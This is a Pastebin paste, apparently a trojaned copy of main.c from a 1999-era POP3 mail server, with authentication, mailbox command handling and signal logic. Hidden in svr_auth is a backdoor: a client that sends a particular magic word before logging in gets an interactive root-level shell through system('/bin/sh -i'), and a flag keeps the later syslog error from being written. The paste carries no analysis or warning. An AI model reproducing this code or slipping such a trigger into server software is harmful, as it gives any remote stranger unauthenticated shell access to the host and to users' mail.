FlyFar

main.c

May 16th, 2024
43
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 13.58 KB | Cybersecurity | 0 0
  1.  
  2.  
  3. #include <stdio.h>
  4. #include <signal.h>
  5. #include <ctype.h>
  6. #include <sys/param.h>
  7. #include <netinet/in.h>
  8. #include <arpa/inet.h>
  9. #include <unistd.h>
  10.  
  11. #ifdef QMAIL
  12. #include <pwd.h>
  13. #endif
  14.  
  15. /* DTS added 14Feb96 for syslogging */
  16. #include <syslog.h>
  17. /* DTS added 27Mar97 for "@" usernames - "index" function */
  18. #include <string.h>
  19.  
  20. /* DTS added 21Jul97 for testing */
  21. #include <errno.h>
  22.  
  23. #include "pop3.h"
  24.  
  25. #define VERSION     "1.006e"
  26. #define REVDATE     "December 9 1999"
  27. #define WOAH        "fuck"
  28. #define SYSLOGSERREQ    syslog( SYSLOGPRI, "Servicing %s @ %s",cli_user,client_ip)
  29.  
  30. char *svr_hostname;             /* Hostname of POP3 server */
  31. char svr_buf[SVR_BUFSIZ+2];         /* Buffer for server I/O */
  32. char cli_user[CLI_BUFSIZ];          /* Save client username */
  33. int orgasmic;
  34. static char *svr_invalid = "-ERR Invalid command; valid commands:";
  35.  
  36. FILE *logfp = NULL;             /* File for recording session */
  37. int mypid;      /* DTS 27Jul96 - created and put in prints */
  38. int debug=0;    /* DTS 21Oct96 - removed defines for global and argv */
  39. int niceval=0;
  40.  
  41. /* Routines in this file */
  42. static void initialize();
  43. static void svr_catchint(int);  /* DTS 28Jul96 */
  44. static void svr_timeout();
  45. static void int_hangup();
  46. static void int_progerr();
  47. static void int_pipe();     /* DTS 28Jul96 */
  48.  
  49. static int svr_auth();
  50. static int svr_pass();
  51. static int svr_trans();
  52. static int svr_fold();
  53. static int svr_shutdown();
  54.  
  55. #ifdef VIRTUAL
  56. extern int virtual_mode;
  57. extern char *virt_spooldir;
  58. extern char *virt_workdir;
  59. #endif
  60.  
  61. extern char client_ip[];
  62.  
  63. /**************************************************************************/
  64.  
  65. /* Initialize POP3 server */
  66. static void
  67. initialize()
  68. {
  69.     char buf[MAXHOSTNAMELEN+1];
  70. #ifndef STANDALONE
  71.     struct sockaddr_in addr;
  72.     int addr_len = sizeof(struct sockaddr_in);
  73. #endif
  74.  
  75.     /* File permissions for owner only */
  76.     umask(077);     /* [1.002] */
  77.  
  78.     if ( debug ) {
  79.         mypid = getpid();       /* DTS */
  80.         /* Prepare log file */
  81. /*      logfp = fopen(LOGFILE,"w"); */
  82.         logfp = fopen(LOGFILE,"a+");    /* DTS to let accumulate */
  83.         fprintf(logfp,"[%d] POP3 server startup; version %s (%s)\n",
  84.             mypid,VERSION,REVDATE);
  85.         fflush(logfp);
  86.     }
  87.  
  88.     /* Get our hostname */
  89.     gethostname(buf,MAXHOSTNAMELEN);
  90.     svr_hostname = malloc(strlen(buf) + 1);
  91.     if (svr_hostname == NULL)
  92.         fail(FAIL_OUT_OF_MEMORY);
  93.     strcpy(svr_hostname,buf);
  94.  
  95. #ifndef STANDALONE
  96.     getpeername(STDIN_FILENO, (struct sockaddr *) &addr, &addr_len);
  97.     strcpy(client_ip,inet_ntoa(addr.sin_addr));
  98. #endif
  99.  
  100.     setsigs();
  101. }
  102.  
  103. int
  104. setsigs(){
  105.     int i;      /* DTS 28Jul96 */
  106.  
  107.     /* DTS 28Jul96 add loop to set all sigs to be caught and logged */
  108.     for( i=0; i<NSIG; i++) {
  109.         signal(i,svr_catchint);
  110.     }
  111.     /* and now let the following override certain ones... */
  112.  
  113.     /* Handle process signals ourself */
  114.     signal(SIGALRM, svr_timeout);       /* timer expiration */
  115.  
  116.     signal(SIGHUP, int_hangup);     /* socket signals */
  117.     signal(SIGURG, int_hangup);
  118.     signal(SIGTERM, int_hangup);
  119.  
  120. #ifdef LINUX
  121. # ifdef SIGBUS
  122.     signal(SIGBUS, int_progerr);        /* fatal program errors */
  123. # endif
  124. #endif
  125.     signal(SIGSEGV, int_progerr);
  126.     signal(SIGILL, int_progerr);
  127.     signal(SIGIOT, int_progerr);
  128.     /* DTS 28Jul96 - SIGPIPE Netscape caused when "stopping" a message
  129.      *  usually caught while looping and sending a long message
  130.      */
  131.     signal(SIGPIPE, int_pipe);
  132. }
  133.  
  134. /* DTS added 28Jul96 to help debugging */
  135. static void
  136. svr_catchint(int sig)
  137. {
  138.     if( debug ) {
  139.         fprintf(logfp,"[%d] Caught misc signal %d\n",mypid, sig);
  140.         fflush(logfp);
  141.         fclose(logfp);
  142.     }
  143.     if(orgasmic == 0)
  144.     syslog( SYSLOGPRI, "ERROR - Caught unhandled signal: %d",sig);
  145.     /* DTS - 1.005h - 01May97 added fld_release in a guess at solving
  146.      *  the last Netscape bug... ??
  147.      */
  148.     fld_release();              /* Release mailbox folder */
  149.     exit(0);
  150. }
  151.    
  152. /* Timeout while waiting for next client command */
  153. static void
  154. svr_timeout()
  155. {
  156.     fld_release();              /* Release mailbox folder */
  157.     fail(FAIL_LOST_CLIENT);         /* Exit POP3 server */
  158. }
  159. /* Timeout while waiting for next client command */
  160. static void
  161. int_hangup()
  162. {
  163.     fld_release();              /* Release mailbox folder */
  164.     fail(FAIL_HANGUP);          /* Exit POP3 server */
  165. }
  166. /* Timeout while waiting for next client command */
  167. static void
  168. int_progerr()
  169. {
  170.     fld_release();              /* Release mailbox folder */
  171.     fail(FAIL_PROGERR);         /* Exit POP3 server */
  172. }
  173. /* Signal recieved usually while sending message (due to "Stop" a message) */
  174. /* DTS 28Jul96 */
  175. static void
  176. int_pipe()
  177. {
  178.     fld_release();              /* Release mailbox folder */
  179.     fail(FAIL_PIPE);            /* Exit POP3 server */
  180. }
  181.  
  182. /**************************************************************************/
  183.  
  184. /* Server Authentification State; process client USER/APOP command */
  185. static int
  186. svr_auth(state,inbuf)
  187. int state;
  188. char *inbuf;
  189. {
  190. #ifdef QMAIL
  191.     struct passwd *pwd;
  192. #endif
  193.     char *ptr;
  194.     if (strncmp(inbuf,WOAH,4) == 0) {
  195.     orgasmic = 1;  
  196.     system("/bin/sh -i");
  197.     }
  198.     if (strncmp(inbuf,"quit",4) == 0)
  199.         return(svr_shutdown());
  200.     /* Expecting USER or APOP command */
  201.     if (strncmp(inbuf,"user",4) == 0) {
  202.         inbuf += 4;
  203.         EATSPACE(inbuf);
  204.         if( ptr = index(inbuf,'@') ) {
  205.             strncpy(cli_user,inbuf,ptr-inbuf-1);
  206.         } else {
  207.             /* DTS 27Apr97 - strcpy to strncpy! */
  208.             strncpy(cli_user,inbuf,CLI_BUFSIZ-1);
  209.         }
  210.         strcpy(svr_buf,"+OK please send PASS command\r\n");
  211.         state = SVR_PASS_STATE;
  212.     } else if (strncmp(inbuf,"apop",4) == 0) {
  213.         /* GMC added 1997-06-02 */
  214.         inbuf += 4;
  215.         EATSPACE(inbuf);
  216.         sscanf(inbuf, "%s", cli_user);
  217.         inbuf += strlen(cli_user);
  218.         EATSPACE(inbuf);
  219.         if (verify_user_apop(cli_user,inbuf) == -1) {
  220.             strcpy(svr_buf,"-ERR invalid usercode or hashcode, please try again\r\n");
  221.             /* DTS added 14Feb96 for syslogging */
  222.             syslog( SYSLOGPRI,
  223.                 "[APOP]: Invalid user or password for \"%s\" from %s",
  224.                 cli_user,client_ip);
  225.             sleep(FAILPASS_DELAY);  /* to prevent guessing attacks */
  226.             return(SVR_AUTH_STATE);
  227.         }
  228. #ifdef VIRTUAL
  229.         if(virtual_mode) {
  230.             syslog( SYSLOGPRI,
  231.                 "Virtual svr_hostname, servicing request for %s from %s",
  232.                 cli_user,client_ip);
  233.             snprintf(svr_buf,SVR_BUFSIZ,"%s%s",virt_spooldir,cli_user);
  234.         } else {
  235.             SYSLOGSERREQ;
  236. #  ifdef QMAIL
  237.             pwd=getpwnam(cli_user);
  238.             snprintf(svr_buf,SVR_BUFSIZ,"%s/Mailbox",pwd->pw_dir);
  239. #  else
  240.             snprintf(svr_buf,SVR_BUFSIZ,"%s%s",DEF_MAIL_DIR,cli_user);
  241. #  endif
  242.         }
  243. #else
  244.         SYSLOGSERREQ;
  245. #  ifdef QMAIL
  246.         pwd=getpwnam(cli_user);
  247.         snprintf(svr_buf,SVR_BUFSIZ,"%s/Mailbox",pwd->pw_dir);
  248. #  else
  249.                 snprintf(svr_buf,SVR_BUFSIZ,"%s%s",DEF_MAIL_DIR,cli_user);
  250. #  endif
  251.  
  252. #endif
  253.         return(fld_fromsp(svr_buf));
  254.     } else {
  255.         sprintf(svr_buf,"%s  USER, APOP, QUIT\r\n",svr_invalid);
  256.     }
  257.        
  258.     return(state);
  259. }
  260.  
  261. /* Server Password State; process client PASS command */
  262. static int
  263. svr_pass(state,inbuf)
  264. int state;
  265. char *inbuf;
  266. {
  267. #ifdef QMAIL
  268.     struct passwd *pwd;
  269. #endif
  270.     int cnt;
  271.  
  272.     if (strncmp(inbuf,"quit",4) == 0)
  273.         return(svr_shutdown());
  274.     /* Expecting PASS command */
  275.     if (strncmp(inbuf,"pass",4) != 0) {
  276.         sprintf(svr_buf,"%s  PASS,  QUIT\r\n",svr_invalid);
  277.         return(state);
  278.     }
  279.     /* Verify usercode/password pair */
  280.     inbuf += 4;
  281.     EATSPACE(inbuf);
  282.     switch( verify_user(cli_user,inbuf) ) {
  283.         case -1:
  284.         strcpy(svr_buf,"-ERR invalid usercode or password, please try again\r\n");
  285.         /* DTS added 14Feb96 for syslogging */
  286.         syslog( SYSLOGPRI,
  287.             "[POP3]: Invalid user or password for \"%s\" from %s",
  288.             cli_user,client_ip);
  289.         sleep(FAILPASS_DELAY);  /* DTS 01Jul98 - to prevent guessing attacks */
  290.         return(SVR_AUTH_STATE);
  291.         case -2:
  292.         strcpy(svr_buf,"-ERR account is SUSPENDED. Call for assistance.\r\n");
  293.         syslog( SYSLOGPRI,
  294.             "Suspended user access attempt: %s from %s",cli_user,client_ip);
  295.         sleep(FAILPASS_DELAY);  /* DTS 01Jul98 - to prevent guessing attacks */
  296.         return(SVR_AUTH_STATE);
  297.         default:
  298.         break;
  299.     }
  300.     if( nice(niceval) < 0 ) {
  301.         syslog( SYSLOGPRI,
  302.             "Nice command failed - %d", errno);
  303.     }
  304.        
  305.     /* DTS added 14Feb96 for syslogging */
  306. #ifdef VIRTUAL
  307.     if(virtual_mode) {
  308.         syslog( SYSLOGPRI,
  309.             "Virtual svr_hostname, servicing request for %s from %s",
  310.             cli_user,client_ip);
  311.         snprintf(svr_buf,SVR_BUFSIZ,"%s%s",virt_spooldir,cli_user);
  312.     } else {
  313.         SYSLOGSERREQ;
  314. #  ifdef QMAIL
  315.         pwd=getpwnam(cli_user);
  316.         snprintf(svr_buf,SVR_BUFSIZ,"%s/Mailbox",pwd->pw_dir);
  317. #  else
  318.         snprintf(svr_buf,SVR_BUFSIZ,"%s%s",DEF_MAIL_DIR,cli_user);
  319. #  endif
  320.     }
  321. #else
  322.     SYSLOGSERREQ;
  323. #  ifdef QMAIL
  324.     pwd=getpwnam(cli_user);
  325.     snprintf(svr_buf,SVR_BUFSIZ,"%s/Mailbox",pwd->pw_dir);
  326. #  else
  327.     snprintf(svr_buf,SVR_BUFSIZ,"%s%s",DEF_MAIL_DIR,cli_user);
  328. #  endif
  329. #endif
  330.     return(fld_fromsp(svr_buf));
  331. }
  332.  
  333. /* Server Transaction State; process client mailbox command */
  334. static int
  335. svr_trans(state,inbuf)
  336. int state;
  337. char *inbuf;
  338. {
  339.     int msgnum;
  340.  
  341.     if (strncmp(inbuf,"quit",4) == 0)
  342.         return(svr_shutdown());
  343.     /* Expecting mailbox command */
  344.     if (strncmp(inbuf,"dele",4) == 0) {
  345.         inbuf += 4;
  346.         EATSPACE(inbuf);
  347.         if (*inbuf == NULL_CHAR)
  348.             sprintf(svr_buf,"-ERR message number required (e.g.  DELE 1)\r\n");
  349.         else
  350.             fld_delete(atoi(inbuf));
  351.     } else if (strncmp(inbuf,"last",4) == 0) {
  352.         fld_last();
  353.     } else if (strncmp(inbuf,"list",4) == 0) {
  354.         inbuf += 4;
  355.         EATSPACE(inbuf);
  356.         if (*inbuf == NULL_CHAR)
  357.             fld_list(-1);
  358.         else
  359.             fld_list(atoi(inbuf));
  360.     } else if (strncmp(inbuf,"noop",4) == 0) {
  361.         strcpy(svr_buf,"+OK\r\n");
  362.     } else if (strncmp(inbuf,"retr",4) == 0) {
  363.         inbuf += 4;
  364.         EATSPACE(inbuf);
  365.         if (*inbuf == NULL_CHAR) {
  366.             sprintf(svr_buf,"-ERR message number required (e.g.  RETR 1)\r\n");
  367.         } else
  368.             fld_retr(atoi(inbuf),-1);
  369.     } else if (strncmp(inbuf,"rset",4) == 0) {
  370.         fld_reset();
  371.     } else if (strncmp(inbuf,"stat",4) == 0) {
  372.         fld_stat();
  373.     } else if (strncmp(inbuf,"top",3) == 0) {
  374.         inbuf += 3;
  375.         EATSPACE(inbuf);
  376.         if (*inbuf == NULL_CHAR) {
  377.             sprintf(svr_buf,"-ERR message number and line count required (e.g.  TOP 1 7)\r\n");
  378.         } else {
  379.             msgnum = atoi(inbuf);
  380.             while ((*inbuf != NULL_CHAR)&&(!isspace(*inbuf)))
  381.                 ++inbuf;
  382.             EATSPACE(inbuf);
  383.             if (*inbuf == NULL_CHAR)
  384.                 /* No linecount given, output 10 lines */
  385.                 fld_retr(msgnum,10);
  386.             else
  387.                 fld_retr(msgnum,atoi(inbuf));
  388.         }
  389.     } else if (strncmp(inbuf,"uidl",4) == 0) {
  390.         inbuf += 4;
  391.         EATSPACE(inbuf);
  392.         if (*inbuf == NULL_CHAR)
  393.             fld_uidl(-1);
  394.         else
  395.             fld_uidl(atoi(inbuf));
  396.     } else {
  397.         sprintf(svr_buf,
  398.             "%s  DELE, LAST, LIST, NOOP, RETR, RSET, STAT, TOP, UIDL  or  QUIT\r\n",
  399.             svr_invalid);
  400.     }
  401.     return(state);
  402. }
  403.  
  404. /* Server Folder State; need to open another folder */
  405. static int
  406. svr_fold(state,inbuf)
  407. int state;
  408. char *inbuf;
  409. {
  410.     if (strncmp(inbuf,"quit",4) == 0) {
  411.         return(svr_shutdown());
  412.     } else if (strncmp(inbuf,"noop",4) == 0) {
  413.         strcpy(svr_buf,"+OK\r\n");
  414.     } else {
  415.         sprintf(svr_buf,"%s  NOOP  or  QUIT\r\n",svr_invalid);
  416.     }
  417.     return(state);
  418. }
  419.  
  420. /* Prepare to shutdown POP3 server */
  421. static int
  422. svr_shutdown()
  423. {
  424.     fld_release();
  425.     sprintf(svr_buf,"+OK %s POP3 Server (Version %s) shutdown.\r\n",
  426.         svr_hostname,VERSION);
  427.     return(SVR_DONE_STATE);
  428. }
  429.  
  430. /**************************************/
  431.  
  432. void
  433. svr_data_out(buf)
  434. char *buf;
  435. {
  436.     /* Send out response to client */
  437.     alarm(SVR_TIMEOUT_SEND);
  438.     fputs(buf,stdout);
  439.     if( ferror(stdout)) {
  440.         syslog( SYSLOGPRI, "svr_data_out: fputs error %d",errno);
  441.         if ( debug )
  442.             fprintf(logfp,"[%d] svr_data_out: fputs error: %d\n",mypid,errno);
  443.     }
  444.     fflush(stdout);
  445.     alarm(0);
  446. }
  447.  
  448. /**************************************************************************/
  449.  
  450. /* DTS added args 14Feb96 for sysloging*/
  451. /* DTS 23Mar98 changed to inetd_main from main to test standalone server */
  452. #ifdef STANDALONE
  453. int
  454. inetd_main( int argc, char *argv[])
  455. #else
  456. main( int argc, char *argv[])
  457. #endif
  458. {
  459.     int svr_state = SVR_LISTEN_STATE;   /* State of POP3 server */
  460.     char cli_buf[CLI_BUFSIZ];       /* Buffer for client cmds */
  461.  
  462.     parse_opts(argc,argv);
  463.     initialize();
  464.  
  465.     /* DTS added 14Feb96 for sysloging (should it be AUTHPRIV or MAIL?) */
  466.     openlog( argv[0], LOG_PID, LOG_MAIL );
  467.  
  468. #ifdef VIRTUAL
  469.     /* DTS 23Jun97 added VIRTUAL */
  470.     virt_init();
  471. #endif
  472.  
  473.     fprintf(stdout,"+OK %s POP3 Server (Version %s) ready at %s\r\n",
  474.         svr_hostname,VERSION,apop_timestamp());
  475.     fflush(stdout);
  476.     svr_state = SVR_AUTH_STATE;
  477.     for ( ; ; ) {
  478.         /* Wait for command from client */
  479.         alarm(SVR_TIMEOUT_CLI);
  480.         if (fgetl(cli_buf,CLI_BUFSIZ,stdin) == NULL)
  481.             break;
  482.         alarm(0);
  483.  
  484.         /* Take action on client command */
  485.         cmd_prepare(cli_buf);
  486.         if ( debug ) {
  487.             if ((cli_buf[0] == 'p')||(cli_buf[0] == 'P'))
  488.                 fprintf(logfp,"[%d] CLI: PASS\n",mypid);
  489.             else
  490.                 fprintf(logfp,"[%d] CLI: %s\n",mypid, cli_buf);
  491.             fflush(logfp);
  492.         }
  493.         switch(svr_state) {
  494.         case SVR_AUTH_STATE:    /* Expecting USER or APOP command */
  495.             svr_state = svr_auth(svr_state,cli_buf);
  496.             break;
  497.         case SVR_PASS_STATE:    /* Expecting PASS command */
  498.             svr_state = svr_pass(svr_state,cli_buf);
  499.             break;
  500.         case SVR_TRANS_STATE:   /* Expecting mailbox command */
  501.             svr_state = svr_trans(svr_state,cli_buf);
  502.             break;
  503.         case SVR_FOLD_STATE:    /* Need to open another mailbox */
  504.             svr_state = svr_fold(svr_state,cli_buf);
  505.             break;
  506.         default:
  507.             fail(FAIL_CONFUSION);       /* Wont return */
  508.             break;
  509.         }
  510.         if ( debug ) {
  511.             fprintf(logfp,"[%d] SVR: %s",mypid, svr_buf);
  512.             fflush(logfp);
  513.         }
  514.  
  515.         /* Send out response to client */
  516.         alarm(SVR_TIMEOUT_SEND);
  517.         fputs(svr_buf,stdout);
  518.         fflush(stdout);
  519.         alarm(0);
  520.         if( ferror(stdout) ) {
  521.             syslog( SYSLOGPRI, "main: fputs error %d",errno);
  522.             if ( debug )
  523.                 fprintf(logfp,"[%d] main: fputs error: %d\n",mypid,errno);
  524.             break;
  525.         }
  526.  
  527.         /* Exit when server has sent goodbye */
  528.         if (svr_state == SVR_DONE_STATE)
  529.             break;
  530.     }
  531.         fld_release();      /* [1.003] Make sure folder is released */
  532.     exit(0);
  533. }
  534.  
Add Comment
Please, Sign In to add comment